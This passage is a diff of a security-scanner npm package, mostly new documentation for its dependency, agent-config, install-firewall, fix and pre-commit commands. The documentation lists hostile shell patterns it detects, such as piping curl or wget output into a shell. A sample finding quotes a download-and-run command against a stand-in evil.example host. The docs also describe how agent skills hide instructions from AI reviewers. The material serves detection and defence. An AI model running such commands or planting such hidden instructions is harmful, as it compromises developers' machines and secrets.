penthera 1.5.0 → 1.6.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (104) hide show
  1. package/CHANGELOG.md +170 -0
  2. package/README.md +128 -663
  3. package/bin/scan.js +19 -0
  4. package/docs/commands/README.md +23 -0
  5. package/docs/commands/action.md +21 -0
  6. package/docs/commands/agents.md +38 -0
  7. package/docs/commands/deps.md +115 -0
  8. package/docs/commands/fix.md +53 -0
  9. package/docs/commands/hook.md +69 -0
  10. package/docs/commands/install.md +53 -0
  11. package/docs/commands/scan.md +100 -0
  12. package/docs/commands/skill.md +58 -0
  13. package/docs/compare/README.md +25 -0
  14. package/docs/compare/github.md +60 -0
  15. package/docs/compare/semgrep.md +54 -0
  16. package/docs/compare/snyk.md +62 -0
  17. package/docs/compare/socket.md +78 -0
  18. package/docs/compare/zap.md +59 -0
  19. package/docs/dashboard.md +244 -0
  20. package/docs/evidence.md +8 -4
  21. package/docs/examples/github-actions-deps.yml +4 -4
  22. package/docs/examples/github-actions-scan.yml +4 -4
  23. package/docs/index.md +9 -0
  24. package/docs/internal-audit.md +83 -0
  25. package/docs/marketing.md +151 -0
  26. package/docs/plan.md +4 -3
  27. package/docs/privacy.md +38 -0
  28. package/docs/references.bib +10 -0
  29. package/docs/references.md +1 -0
  30. package/docs/research/socket-positioning-notes.md +183 -0
  31. package/docs/use-cases/README.md +14 -0
  32. package/docs/use-cases/agencies.md +71 -0
  33. package/docs/use-cases/ai-coding-teams.md +81 -0
  34. package/docs/use-cases/eu-sme-compliance.md +68 -0
  35. package/docs/use-cases/open-source-maintainers.md +75 -0
  36. package/docs/use-cases/solo-founder.md +65 -0
  37. package/lib/blackbox/email-dns.js +5 -0
  38. package/lib/compliance/questionnaire.js +4 -2
  39. package/lib/deps/capabilities.js +49 -12
  40. package/lib/deps/index.js +290 -30
  41. package/lib/deps/lockfile.js +25 -2
  42. package/lib/deps/popular-pypi.json +1 -0
  43. package/lib/deps/python/capabilities.js +447 -0
  44. package/lib/deps/python/index.js +234 -0
  45. package/lib/deps/python/lockfiles.js +359 -0
  46. package/lib/deps/python/source.js +396 -0
  47. package/lib/deps/python/toml.js +219 -0
  48. package/lib/deps/report.js +37 -6
  49. package/lib/deps/source.js +149 -24
  50. package/lib/deps/typosquat.js +24 -13
  51. package/lib/fix/apply.js +83 -19
  52. package/lib/hook/index.js +41 -8
  53. package/lib/install/index.js +59 -18
  54. package/lib/install/policy.js +17 -5
  55. package/lib/memory/repo-suppress.js +11 -3
  56. package/lib/references.json +77 -0
  57. package/lib/remediation/index.js +9 -0
  58. package/lib/retirejs.js +69 -17
  59. package/lib/rules/regex-guard.js +368 -0
  60. package/lib/templates.js +13 -6
  61. package/lib/tls.js +7 -0
  62. package/lib/whitebox/frameworks.js +8 -5
  63. package/lib/whitebox/secrets.js +20 -7
  64. package/package.json +7 -3
  65. package/skills/penthera/SKILL.md +23 -5
  66. package/src/cli/deps.js +60 -5
  67. package/src/cli/evidence.js +14 -4
  68. package/src/cli/install.js +14 -5
  69. package/src/cli/report-outputs.js +25 -2
  70. package/src/cli/ui.js +89 -0
  71. package/src/cli.js +19 -7
  72. package/src/report/audience.js +10 -10
  73. package/src/report/evidence.js +33 -14
  74. package/src/report/footer.js +11 -0
  75. package/src/report/markdown.js +6 -3
  76. package/src/report/md-escape.js +16 -0
  77. package/src/reporter.js +1 -0
  78. package/src/scan-url.js +5 -1
  79. package/src/ui/api/data.js +309 -0
  80. package/src/ui/api/demo.js +464 -0
  81. package/src/ui/api/routes.js +134 -0
  82. package/src/ui/api/runs.js +243 -0
  83. package/src/ui/api/summarize.js +451 -0
  84. package/src/ui/security.js +153 -0
  85. package/src/ui/server.js +186 -0
  86. package/src/ui/static/app.css +723 -0
  87. package/src/ui/static/favicon.svg +1 -0
  88. package/src/ui/static/index.html +57 -0
  89. package/src/ui/static/js/api.js +29 -0
  90. package/src/ui/static/js/app.js +138 -0
  91. package/src/ui/static/js/charts.js +207 -0
  92. package/src/ui/static/js/copy.js +79 -0
  93. package/src/ui/static/js/dom.js +120 -0
  94. package/src/ui/static/js/format.js +42 -0
  95. package/src/ui/static/js/theme.js +10 -0
  96. package/src/ui/static/js/typer.js +99 -0
  97. package/src/ui/static/js/views/ai.js +68 -0
  98. package/src/ui/static/js/views/deps.js +96 -0
  99. package/src/ui/static/js/views/evidence.js +115 -0
  100. package/src/ui/static/js/views/findings.js +165 -0
  101. package/src/ui/static/js/views/history.js +92 -0
  102. package/src/ui/static/js/views/overview.js +184 -0
  103. package/src/ui/static/js/views/run.js +349 -0
  104. package/src/ui/static/js/views/settings.js +67 -0
package/bin/scan.js CHANGED
@@ -3,8 +3,27 @@
3
3
  * Interactive scan — delegates to PostHog-style onboarding wizard.
4
4
  * Alias: penthera-scan
5
5
  */
6
+ import { readFileSync } from "node:fs";
6
7
  import { runOnboarding } from "../src/cli/onboarding.js";
7
8
 
9
+ const arg = process.argv[2];
10
+ if (arg === "--help" || arg === "-h") {
11
+ process.stdout.write(`
12
+ penthera-scan — interactive scan wizard (asks for a URL, then scans)
13
+
14
+ Usage
15
+ $ penthera-scan
16
+
17
+ For flags and non-interactive scans, see: penthera --help
18
+ `);
19
+ process.exit(0);
20
+ }
21
+ if (arg === "--version") {
22
+ const pkg = JSON.parse(readFileSync(new URL("../package.json", import.meta.url), "utf-8"));
23
+ console.log(pkg.version);
24
+ process.exit(0);
25
+ }
26
+
8
27
  runOnboarding().catch((e) => {
9
28
  console.error(e.message);
10
29
  process.exit(2);
@@ -0,0 +1,23 @@
1
+ # Commands
2
+
3
+ One page per command, with every flag that matters and an example. The
4
+ [README](../../README.md) has the short version; `penthera <command> --help`
5
+ has the full flag list.
6
+
7
+ | Command | Page | What it does |
8
+ |---|---|---|
9
+ | `penthera <url>`, `--repo .` | [scan.md](scan.md) | Scan a running app and its source: modes, profiles, outputs, exit codes, CI |
10
+ | `penthera agents` | [agents.md](agents.md) | Audit skills, MCP servers, hooks, plugins and rule files |
11
+ | `penthera deps` | [deps.md](deps.md) | What each package can do, the upgrade diff, typosquats, license policy |
12
+ | `penthera install` | [install.md](install.md) | Check a new package before any install script runs |
13
+ | `penthera fix`, `penthera agent --loop` | [fix.md](fix.md) | Deterministic fix recipes and the local scan, fix, verify loop |
14
+ | `penthera hook` | [hook.md](hook.md) | Pre-commit hook for secrets, agent config and dependency changes |
15
+ | GitHub Action | [action.md](action.md) | The capability diff as a pull-request comment, plus SARIF |
16
+ | Agent Skill | [skill.md](skill.md) | Let Claude Code, Cursor and other agents drive Penthera |
17
+ | `penthera ui` | [dashboard.md](../dashboard.md) | The local dashboard: posture, findings, history, evidence, and the fix loop from the page |
18
+
19
+ Compliance flags (`--framework nis2`, `--readiness`, `--cra`, `--aibom`, ...)
20
+ are covered in [compliance-nis2.md](../compliance-nis2.md) and
21
+ [compliance-cra.md](../compliance-cra.md). Reports and evidence bundles are in
22
+ [evidence.md](../evidence.md). Network use and `--offline` are in
23
+ [privacy.md](../privacy.md).
@@ -0,0 +1,21 @@
1
+ # The GitHub Action
2
+
3
+ ### Use as a GitHub Action
4
+
5
+ ```yaml
6
+ - uses: danoszz/penthera@<release-commit-sha> # v1.4.0
7
+ with:
8
+ mode: deps # deps | agents | scan (scan also needs url:)
9
+ fail-on: none # none | high | critical
10
+ ```
11
+
12
+ On every pull request it posts one comment with the capability diff against
13
+ the PR base and edits that same comment on each push. It also uploads SARIF to
14
+ code scanning. Penthera runs from the action's own checkout: no npx, no install
15
+ from npm, no registry lookups. On fork PRs the token is read-only, so the diff
16
+ goes to the job summary instead. Inputs: `mode`, `path`, `base-ref`, `url`,
17
+ `fail-on`, `comment`, `sarif`, `penthera-version`. Copy the full workflow, with
18
+ permissions and a lockfile paths filter, from
19
+ [`docs/examples/pr-dependency-review.yml`](../examples/pr-dependency-review.yml).
20
+
21
+ [Back to the README](../../README.md) · [All commands](README.md)
@@ -0,0 +1,38 @@
1
+ # Auditing your AI tooling: `penthera agents`
2
+
3
+ ## Audit your agent setup
4
+
5
+ Your AI tools run code too. `penthera agents` audits the skills, MCP servers,
6
+ hooks, permissions, plugins and rule files that Claude Code, Cursor, Claude
7
+ Desktop, VS Code and Copilot load, and grades the setup A to F.
8
+
9
+ ```bash
10
+ penthera agents # this repo: .mcp.json, .claude/, .cursor/, AGENTS.md, CLAUDE.md, skills/
11
+ penthera agents --home # + ~/.claude (hooks, permissions, plugins, skills), ~/.cursor/mcp.json, Claude Desktop
12
+ penthera agents ./some-skill # vet a downloaded skill before you install it
13
+ penthera agents --pin # write penthera.lock; later runs flag anything that changed
14
+ ```
15
+
16
+ It is **offline and deterministic**: no LLM judge, no registry lookups, nothing
17
+ leaves your machine, and it never modifies the config it reads. Every verdict
18
+ is a rule you can read in [`lib/agents/`](../../lib/agents/), so a skill can't talk
19
+ its way past it.
20
+
21
+ | Check | What it catches |
22
+ |---|---|
23
+ | Hidden content | Unicode tag characters (decoded), zero-width and bidi controls, variation-selector smuggling, text pushed past a wall of blank lines or off-screen, instructions in HTML comments, text addressed to the scanner, base64 blobs (decoded and classified), `.pyc`/archives/executables in a skill folder (by magic bytes, so a renamed `.png` doesn't hide one), symlinks that leave the folder |
24
+ | Code execution | `curl \| sh`, `wget \| bash`, `bash <(curl …)`, `eval "$(curl …)"`, `base64 -d \| sh`, `exec(base64…)`, PowerShell `iwr \| iex`, in skills, scripts, hooks and MCP launch commands |
25
+ | MCP servers | `npx -y` / `uvx` / `bunx` / `pnpm dlx` without an exact version, inline secrets in `env`, headers or args (same rules as the repo secret scan), remote servers over plain `http://` |
26
+ | Hooks & permissions | Hooks that auto-approve tool calls or pipe into a shell (including the scripts they run), `Bash(*)` and other wildcard allows, `bypassPermissions`, allow rules for `~/.ssh` and other credential files, wildcards in a skill's `allowed-tools` |
27
+ | Plugins | Marketplaces and marketplace plugins not pinned to a commit |
28
+ | Rug pulls | `--pin` writes SHA-256 hashes of every skill folder, MCP server definition, hook and installed plugin to `penthera.lock`. A later run reports what changed, appeared or disappeared |
29
+
30
+ Each finding names the OWASP [MCP Top 10](https://owasp.org/www-project-mcp-top-10/)
31
+ and [Agentic Top 10](https://genai.owasp.org/) (ASI) ids it maps to, and the
32
+ usual `--json`, `-o`, `--markdown` and `--sarif` outputs all work. The scanner
33
+ is built for the ways LLM-judged skill scanners have been bypassed: it reads
34
+ whole files (no context window to overflow), every file in a skill folder (not
35
+ just `SKILL.md`), and treats text aimed at a reviewer as a finding rather than
36
+ an argument.
37
+
38
+ [Back to the README](../../README.md) · [All commands](README.md)
@@ -0,0 +1,115 @@
1
+ # Dependency risk: `penthera deps`
2
+
3
+ ## Dependency risk: what can your packages do?
4
+
5
+ A lockfile change is code you did not write, about to run with your app's access
6
+ to files, network, environment and CI secrets. `penthera deps` reads
7
+ `package-lock.json`, statically scans every installed package, and tells you
8
+ what each one *can do*, and which packages are new or gained capabilities in an
9
+ upgrade.
10
+
11
+ ```bash
12
+ penthera deps # every package in node_modules
13
+ penthera deps --base origin/main # capability diff vs the lockfile on main
14
+ penthera deps --diff ../base-checkout # diff vs another installed tree (or an old package-lock.json)
15
+ penthera deps --pr-comment deps.md # short Markdown diff for a PR comment
16
+ ```
17
+
18
+ ```
19
+ ▲ net-helper 1.0.0 → 1.1.0 + network, whole environment
20
+ node_modules/net-helper/index.js:3 const https = require('https');
21
+ node_modules/net-helper/index.js:5 const body = JSON.stringify(process.env);
22
+ ```
23
+
24
+ | Capability | Detected from |
25
+ |---|---|
26
+ | Install scripts | `preinstall` / `install` / `postinstall`, and `binding.gyp` (npm runs `node-gyp` implicitly). Flagged as risky when the hook pipes a download to a shell or runs a file with network or decoding code |
27
+ | Shell, network, dynamic code | `child_process`; `http`/`https`/`net`/`dgram`/`tls`/`http2`, `fetch`, `WebSocket`; `eval`, `new Function`, `vm` |
28
+ | Environment | `process.env` reads, and bulk access (`JSON.stringify(process.env)`, enumeration). Serialising the environment next to network code is reported as likely exfiltration |
29
+ | Files, modules, native | Writes near home-directory or system paths; computed `require()`/`import()`; `.node` addons and `binding.gyp` |
30
+ | Obfuscation | Obfuscator identifiers (`_0x…`), `\x`-escape density, encoded blobs that are decoded and run (embedded WebAssembly and ANSI colour codes are recognised and ignored) |
31
+ | Attack indicators | Writes to `~/.claude`, `~/.cursor`, `.mcp.json` or the Claude Desktop config; running the `claude`, `gemini` or `q` CLIs (the s1ngularity pattern); GitHub token harvesting |
32
+ | Typosquats | Edit distance, separator and suffix tricks against ~7,800 popular npm names, vendored in the package and refreshed at release time |
33
+
34
+ Every capability carries `file:line` evidence. It is a regex-and-tokenizer pass,
35
+ not a full parser: deterministic, never executes package code, and fast enough
36
+ for every PR (0.4 s for Penthera's own 61 packages, 5 to 16 s for real app
37
+ trees of 500 to 1,700 packages). A capability is what code
38
+ *can* do, not proof that it is malicious; the findings carry honest confidence
39
+ labels (`potential` for obfuscation and typosquats).
40
+
41
+ **Offline by default.** Old versions for the diff come from the base tree's
42
+ `node_modules` or from npm's local cache (`~/.npm/_cacache`), looked up by the
43
+ lockfile's integrity hash and verified byte for byte. `--online` is the only
44
+ network use: it asks the npm registry for publish dates, publisher changes and
45
+ deprecations, and fetches old tarballs the cache does not have (verified the
46
+ same way). To comment the capability diff on every PR that changes the
47
+ lockfile, use the GitHub Action below.
48
+
49
+ ### npm and Python
50
+
51
+ The same command reads Python projects: `uv.lock`, `poetry.lock`, `pdm.lock`,
52
+ `Pipfile.lock` or `requirements*.txt` (pinned and `--hash` lines), and the
53
+ installed `.venv` / `venv` (or `--venv <path>`) through
54
+ `site-packages/*.dist-info` `RECORD` files, without running pip or Python. A
55
+ repo with both a `package-lock.json` and Python inputs gets one combined report.
56
+
57
+ ```bash
58
+ penthera deps # uv.lock + .venv
59
+ penthera deps --venv ~/.venvs/app # a virtualenv somewhere else (no lockfile needed)
60
+ penthera deps --base origin/main # capability diff vs the Python lockfile on main
61
+ ```
62
+
63
+ Capabilities and evidence are the same as for npm (`subprocess`/`os.system`,
64
+ `socket`/`requests`/`httpx`/`aiohttp`, `os.environ` bulk access,
65
+ `eval`/`exec`/`compile`, computed `__import__`, native `.so`/`.pyd`, AI-agent
66
+ indicators), plus what is specific to Python: `setup.py` custom commands
67
+ (install-time code), `.pth` files with `import` lines (they run on every
68
+ interpreter start, a known persistence trick), unpickling, `exec` of a
69
+ base64/zlib-decoded payload, installed files that no longer match their
70
+ `RECORD` hash, and `.pth` files no distribution owns. Old versions for the diff
71
+ come from pip's HTTP cache (matched by the lockfile's sha256) or uv's cache
72
+ (by recorded hash), otherwise they are marked "not compared". Typosquats are
73
+ checked against the top 8,000 PyPI projects, PEP 503 normalised.
74
+ `--online` registry checks are npm-only for now.
75
+
76
+ ### License policy
77
+
78
+ ```bash
79
+ penthera deps --license-policy permissive # or weak-copyleft-ok, no-agpl
80
+ penthera deps --license-policy legal/policy.json # a file with a "licenses" section
81
+ ```
82
+
83
+ Without the flag, `penthera deps` applies the `licenses` section of
84
+ `penthera.policy.json` when there is one:
85
+
86
+ ```json
87
+ {
88
+ "licenses": {
89
+ "preset": "permissive",
90
+ "allow": ["Python-2.0"],
91
+ "deny": ["WTFPL"],
92
+ "allowPackages": ["@acme/*", "sharp@0.33.5"],
93
+ "unknown": "warn"
94
+ }
95
+ }
96
+ ```
97
+
98
+ | Preset | Allows |
99
+ |---|---|
100
+ | `permissive` | MIT, ISC, BSD, Apache-2.0, 0BSD, Unlicense, CC0, Zlib, BlueOak and similar. Everything else breaches |
101
+ | `weak-copyleft-ok` | `permissive` plus LGPL, MPL, EPL, CDDL and Artistic-2.0 |
102
+ | `no-agpl` | Anything except AGPL and SSPL (network copyleft) |
103
+
104
+ Licenses come from the lockfile (npm records them in v2 and v3), else from
105
+ the installed `package.json`. Expressions are parsed as SPDX:
106
+ `MIT OR GPL-3.0-only` passes `permissive` because one branch is enough, while
107
+ `MIT AND GPL-3.0-only` does not. Deprecated ids (`GPL-3.0`, `GPL-2.0+`) are
108
+ matched to their current form, so a deny of `AGPL-3.0-only` also catches a
109
+ package that says `AGPL-3.0`. A breach and `UNLICENSED` (no rights granted)
110
+ are high. A missing, custom (`SEE LICENSE IN ...`) or non-SPDX license is
111
+ medium, or high with `"unknown": "block"`. `allowPackages` exempts packages your
112
+ legal review has cleared. Findings use category `license` and appear in every
113
+ output format, and `--sbom` now records each component's license.
114
+
115
+ [Back to the README](../../README.md) · [All commands](README.md)
@@ -0,0 +1,53 @@
1
+ # Fixing what it finds: `penthera fix` and `penthera agent --loop`
2
+
3
+ ## Scan and fix
4
+
5
+ Penthera does not just report problems. It closes the loop: ask your agent to fix what it finds, and it detects the issue, applies a framework-aware fix to your code (shown as a diff for you to approve), and re-scans to prove it is resolved.
6
+
7
+ ```
8
+ "Scan my app and fix what you find"
9
+ "Fix the security headers on my Next.js app and re-scan to confirm"
10
+ "Find and fix hardcoded secrets in this repo"
11
+ ```
12
+
13
+ Fixes come from a [remediation playbook](../../skills/penthera/references/remediation.md) covering Next.js, Express, Fastify, Hono, and FastAPI. They are always shown as diffs for your approval and verified by a re-scan; nothing is applied blindly, and nothing touches production. To build secure-by-default in the first place, see [secure defaults](../../skills/penthera/references/secure-defaults.md).
14
+
15
+ ### Fix recipes
16
+
17
+ For the most common findings you don't need an agent at all. `penthera fix` plans deterministic, local fixes and prints each one as a unified diff:
18
+
19
+ ```bash
20
+ penthera fix --plan --repo . # fresh repo scan, one diff per fix
21
+ penthera fix --plan --repo . -o report.json # or use the findings from an earlier scan
22
+ penthera fix --apply <id> --repo . # apply one diff after you approve it
23
+ ```
24
+
25
+ | Recipe | What it changes | Frameworks |
26
+ |--------|-----------------|------------|
27
+ | `security-headers` | Adds a starter CSP (with `frame-ancestors`), HSTS, X-Frame-Options, Referrer-Policy and X-Content-Type-Options | Next.js (`headers()` in `next.config.*`), Express (`helmet` if installed, otherwise a small middleware), Fastify (`@fastify/helmet` if installed, otherwise an `onSend` hook), Hono (`secureHeaders`) |
28
+ | `cookie-flags` | Adds `httpOnly`, `secure` and `sameSite` to cookies set in code | `res.cookie`, `reply.setCookie`, Hono `setCookie`, Next.js `cookies().set` |
29
+ | `cors-allowlist` | Replaces `cors()`, `origin: "*"`, `origin: true` and `origin \|\| "*"` with an allowlist from `CORS_ALLOWED_ORIGINS` | Express, Fastify, Hono, Next.js route handlers |
30
+ | `auth-rate-limit` | Puts a rate-limit stub (in memory, 10 attempts per 15 minutes) on login and auth routes | Express (`express-rate-limit` if installed), Fastify, Hono, Next.js App Router |
31
+ | `secret-to-env` | Moves a hardcoded secret in JS/TS to `process.env.NAME` and adds `NAME=` to `.env.example` | Any |
32
+
33
+ How it stays safe:
34
+
35
+ - **Planning never writes.** Applying is a separate step: it needs a plan id plus a `y/N` confirmation (or `--yes`), refuses a dirty git tree unless you pass `--allow-dirty`, refuses any path outside the repo, and writes nothing unless every hunk applies. It never commits or pushes.
36
+ - **Conservative edits.** No AST rewriting: each recipe edits at an anchor it recognises exactly (`const app = express()`, the exported Next.js config object, a one-line `res.cookie(...)`). If the anchor isn't there, or the code already does something custom (an existing `headers()`, cookie options in a variable), the recipe returns no plan instead of a risky diff.
37
+ - **Owner actions are listed, not done.** A recipe can move a secret out of the code but can never rotate it, so every secret fix says "rotate this secret". Other recipes flag what is still on you, such as tightening the starter CSP or setting `CORS_ALLOWED_ORIGINS`.
38
+ - **Secrets stay masked.** The secret's value is masked in printed and `--json` plans.
39
+ - **Verified.** After `--apply`, Penthera re-scans the repo and says whether each finding is gone. Headers, cookies, CORS and rate limits are checked statically from source, so re-run your URL scan to confirm against the live app.
40
+
41
+ No recipe for a finding? `--fix-model <name>` can ask a model running in [Ollama](https://ollama.com) on `127.0.0.1:11434`, and nowhere else. It is off by default and only used when no recipe matches. Its diffs are labelled `needs-human-review`.
42
+
43
+ ### The local loop: `penthera agent --loop`
44
+
45
+ `penthera agent --loop` runs scan → fix → verify → learn on your machine until nothing fixable is left (or `--max-iterations`, default 5):
46
+
47
+ ```bash
48
+ penthera agent --loop --repo . --url http://localhost:3000 -o reports/loop.json
49
+ ```
50
+
51
+ It shows each diff and asks `y/n/skip/quit`, applies it on a local branch `penthera/fix-<yyyymmdd-hhmm>`, re-scans (plus your tests with `--run-tests`), commits the fix if it verified and reverts it if not, and records the outcome in [local memory](../local-loop.md). It refuses a dirty tree or a detached HEAD, runs only an allow-list of local git commands with your repo's hooks disabled, contacts only the `--url` host, and never pushes or opens a pull request. `--auto low` applies without asking only recipes that memory shows verified 3+ times with no failures on your framework. Details and the `loopRun` JSON: [docs/local-loop.md](../local-loop.md#the-agent-loop).
52
+
53
+ [Back to the README](../../README.md) · [All commands](README.md)
@@ -0,0 +1,69 @@
1
+ # Pre-commit hook: `penthera hook`
2
+
3
+ ## Block it before it's committed
4
+
5
+ Once a secret is pushed, rotating it is the only fix. The pre-commit hook runs
6
+ the checks that matter on what you are about to commit, and nothing else:
7
+
8
+ ```bash
9
+ penthera hook install # writes .git/hooks/pre-commit; an existing hook is kept and runs first
10
+ penthera hook run # what the hook runs; try it on staged changes
11
+ penthera hook uninstall # removes it and puts your old hook back
12
+ ```
13
+
14
+ On staged content only (the git index, not your working tree):
15
+
16
+ - secrets and AI provider keys in staged files;
17
+ - `penthera agents` rules on staged `.mcp.json`, `CLAUDE.md`, `AGENTS.md`,
18
+ `.cursor/`, `.claude/` and `skills/`;
19
+ - when `package-lock.json` is staged, the capability diff against HEAD's
20
+ lockfile and the license policy, for the packages this commit adds.
21
+
22
+ ```
23
+ ✗ penthera blocked this commit: 2 findings at high or above (2 staged files, 1 agent config, 0.1s)
24
+
25
+ ✗ CRITICAL .mcp.json MCP server "x" launches by downloading and running code id b5914a44a2058da9
26
+ → Launch command contains a download piped to a shell: `curl https://evil.example/x.sh | sh`.
27
+ ✗ CRITICAL config.js:1 Anthropic API key in source sk-a…AAAA id 7a0eb6998ff38787
28
+ → Load it from an env var or secret store and unstage the file; rotate it if it was ever pushed or shared.
29
+
30
+ Fix and `git add` again. A false positive? Add it to penthera.suppress.json:
31
+ { "version": 1, "suppress": [{ "id": "b5914a44a2058da9", "reason": "why this is safe" }] }
32
+ To skip the check for one commit: git commit --no-verify (the finding still ships)
33
+ ```
34
+
35
+ It blocks on high and critical by default and takes about 0.1 to 0.5 s.
36
+ Configure it in `penthera.policy.json`:
37
+
38
+ ```json
39
+ { "hook": { "blockOn": "high", "ignore": ["tests/fixtures/**"],
40
+ "checks": { "secrets": true, "agents": true, "deps": true, "licenses": true } } }
41
+ ```
42
+
43
+ If husky or lefthook manage your hooks (`core.hooksPath` is set),
44
+ `penthera hook install` says so instead of overwriting them. Add one line to
45
+ that tool instead:
46
+
47
+ ```bash
48
+ # husky
49
+ echo "npx --no-install penthera hook run" >> .husky/pre-commit
50
+ ```
51
+
52
+ ```yaml
53
+ # lefthook.yml
54
+ pre-commit:
55
+ commands:
56
+ penthera:
57
+ run: npx --no-install penthera hook run
58
+ ```
59
+
60
+ ```yaml
61
+ # .pre-commit-config.yaml (pre-commit.com)
62
+ repos:
63
+ - repo: https://github.com/danoszz/penthera
64
+ rev: <tag or sha>
65
+ hooks:
66
+ - id: penthera
67
+ ```
68
+
69
+ [Back to the README](../../README.md) · [All commands](README.md)
@@ -0,0 +1,53 @@
1
+ # Install firewall: `penthera install`
2
+
3
+ ### Install firewall: `penthera install`
4
+
5
+ `penthera deps` tells you what changed after the fact. `penthera install` asks
6
+ before anything runs:
7
+
8
+ ```bash
9
+ penthera install left-pad # check, then install (asks if the policy says so)
10
+ penthera install -D vitest --dry-run # report only
11
+ penthera install --yes # CI: install only if nothing breaches the policy
12
+ ```
13
+
14
+ ```
15
+ ▲ color-helper 1.0.0 → 1.1.0 + install script
16
+ postinstall: node postinstall.js
17
+
18
+ Policy defaults (no penthera.policy.json)
19
+ ! color-helper@1.1.0 needs approval: install script
20
+
21
+ Install anyway? [y]es, run the install scripts / [s]kip scripts / [N]o:
22
+ ```
23
+
24
+ 1. npm resolves the new tree in a temporary copy of `package.json` and the
25
+ lockfile, with scripts off (`npm install --package-lock-only --ignore-scripts`).
26
+ 2. New tarballs are fetched with `npm cache add`. Nothing is unpacked into
27
+ `node_modules` and no package code runs; each tarball is checked against
28
+ the proposed lockfile's integrity before it is read.
29
+ 3. The `deps` engine diffs capabilities against your current lockfile, lists
30
+ new install scripts with their commands, and checks new names for typosquats.
31
+ 4. `penthera.policy.json` decides. On approval, the reviewed lockfile is
32
+ installed as is, with `--ignore-scripts` unless you approved the scripts
33
+ (on npm 12+, approved scripts are pinned in `package.json` `allowScripts`).
34
+ On abort, exit code 1, and the project is byte for byte unchanged.
35
+
36
+ ```json
37
+ {
38
+ "allow": ["@acme/*", "esbuild", "sharp@0.33.5"],
39
+ "deny": ["ai-cli-invoke", "token-harvest"],
40
+ "requireApproval": ["install-scripts", "ai-config-write", "ai-cli-invoke",
41
+ "token-harvest", "obfuscated", "typosquat", "unscanned"]
42
+ }
43
+ ```
44
+
45
+ `deny` and `requireApproval` take capability ids from the table above
46
+ (`install-scripts`, `shell`, `network`, `env-bulk`, `obfuscated`, ...) plus
47
+ `typosquat` and `unscanned`. The `requireApproval` list shown is the default.
48
+ `allow` takes names or globs, optionally pinned to a version, and overrides
49
+ both. The one network use is npm talking to your configured registry, and
50
+ Penthera prints which one; Penthera itself sends nothing. Workspaces and
51
+ `file:` dependencies are not supported yet.
52
+
53
+ [Back to the README](../../README.md) · [All commands](README.md)
@@ -0,0 +1,100 @@
1
+ # Scanning your app: `penthera <url>` and `--repo`
2
+
3
+ Black-box scans of a running app (localhost, preview, or staging) and white-box scans of its source. The default scan is non-destructive; payload-based testing is opt-in.
4
+
5
+ ## Scan modes and profiles
6
+
7
+ | Mode | Command | Coverage |
8
+ |------|---------|----------|
9
+ | **URL scan** | `penthera https://example.com` | TLS, fingerprinting, endpoint discovery, templates, CORS, cookies, JS CVEs, param discovery, OpenAPI/FastAPI probes, security headers, auth hardening |
10
+ | **Repo scan** | `penthera --repo ./my-app` | API route discovery (Next.js, Express, Hono, Fastify), trust-boundary mapping, hardcoded-secret scanning (including Anthropic, OpenAI, Gemini, Groq, Hugging Face and other AI provider keys) |
11
+ | **Combined** | `penthera https://staging.app --repo .` | Black-box and white-box in one run |
12
+ | **Interactive** | `penthera` *(no args)* | Guided wizard (URL plus optional repo scan, Markdown report) |
13
+ | **Machine audit** | `penthera --machine` | macOS checks (keyloggers, persistence, rootkits) |
14
+ | **Dependencies** | `penthera deps` | What each npm or Python package can do (install scripts, shell, network, env, eval, native, obfuscation, `.pth` startup hooks), capability diff on upgrades, typosquats. Offline ([deps.md](deps.md)) |
15
+
16
+ Pick a profile, or add individual flags for more depth:
17
+
18
+ | Profile | Command | What runs |
19
+ |---------|---------|-----------|
20
+ | **quick** | `--profile quick` | Headers, OpenAPI, auth smoke tests (about 10s) |
21
+ | **standard** | *(default)* | Full non-destructive scan |
22
+ | **deep** | `--profile deep` | recon, injection probes, and API fuzzing |
23
+
24
+ Individual flags: `--recon`, `--deep`, `--fuzz`, `--adaptive`, `--nuclei <path>`, `--templates <dirs>`, `--all`
25
+
26
+ ## Quick start
27
+
28
+ ```bash
29
+ # First time? Run with no args for guided setup
30
+ penthera
31
+
32
+ # Safe default scan (non-destructive)
33
+ penthera https://myapp.com
34
+
35
+ # Staging plus source code, full report set
36
+ penthera https://staging.myapp.com --repo . --all -o reports/scan.json --sarif reports/scan.sarif
37
+
38
+ # Baseline diff: show only new findings since the last scan
39
+ penthera https://myapp.com -o reports/scan.json --baseline reports/previous.json
40
+
41
+ # Authenticated scan (session cookie or bearer token)
42
+ PENTHERA_BEARER=eyJ... penthera https://myapp.com --profile standard
43
+ penthera https://myapp.com --auth-cookie "session=abc123"
44
+ ```
45
+
46
+ Writing to `-o reports/scan.json` also drops a human-readable `reports/scan.md`
47
+ next to it. Reports are gitignored by default.
48
+
49
+ ### Exit codes
50
+
51
+ | Code | Meaning |
52
+ |------|---------|
53
+ | `0` | No critical or high findings |
54
+ | `1` | Critical or high findings detected |
55
+ | `2` | Scan failed (unreachable target, bad config) |
56
+
57
+ ---
58
+
59
+ ## Output
60
+
61
+ | Format | Flag | Use |
62
+ |--------|------|-----|
63
+ | Terminal | *(default)* | Colored summary plus top 3 fixes |
64
+ | **Markdown** | `--markdown file.md` or `-o file.json` | Human-readable report (exec summary, findings tables, fixes). Written next to `-o` automatically |
65
+ | JSON | `--json` or `-o file.json` | CI pipelines, baseline diffs, custom tooling |
66
+ | SARIF | `--sarif file.sarif` | GitHub Security / Code Scanning tab |
67
+ | Audience report | `--audience developer\|owner\|auditor` | The same scan written for a developer, an owner or an auditor ([docs/evidence.md](../evidence.md#audience-reports)) |
68
+ | Your template | `--report-template file.md` | Your own Markdown with `{{summary.critical}}`, `{{#each findings}}`, `{{#if x}}`; no code runs |
69
+ | **Evidence bundle** | `--evidence <dir> [--sign-key <ssh-key>]` | All reports plus `manifest.json` with SHA-256s, optionally SSH-signed. Auditors check it with `penthera evidence verify <dir> --allowed-signers <file>` ([docs/evidence.md](../evidence.md)) |
70
+
71
+ ## CI integration
72
+
73
+ ```yaml
74
+ # Scan a staging URL on a schedule and upload results to GitHub Security.
75
+ - run: npx penthera@1.6.0 "$PENTEST_URL" --profile standard --sarif reports/scan.sarif
76
+ - uses: github/codeql-action/upload-sarif@6f2ac81f5cd81fe351a197ba0b00d91d03cd2aee # v4.39.0
77
+ with:
78
+ sarif_file: reports/scan.sarif
79
+ ```
80
+
81
+ Copy the full workflow from
82
+ [`docs/examples/github-actions-scan.yml`](../examples/github-actions-scan.yml)
83
+ into your app's repo. Pin the Penthera version so a scheduled run never picks up
84
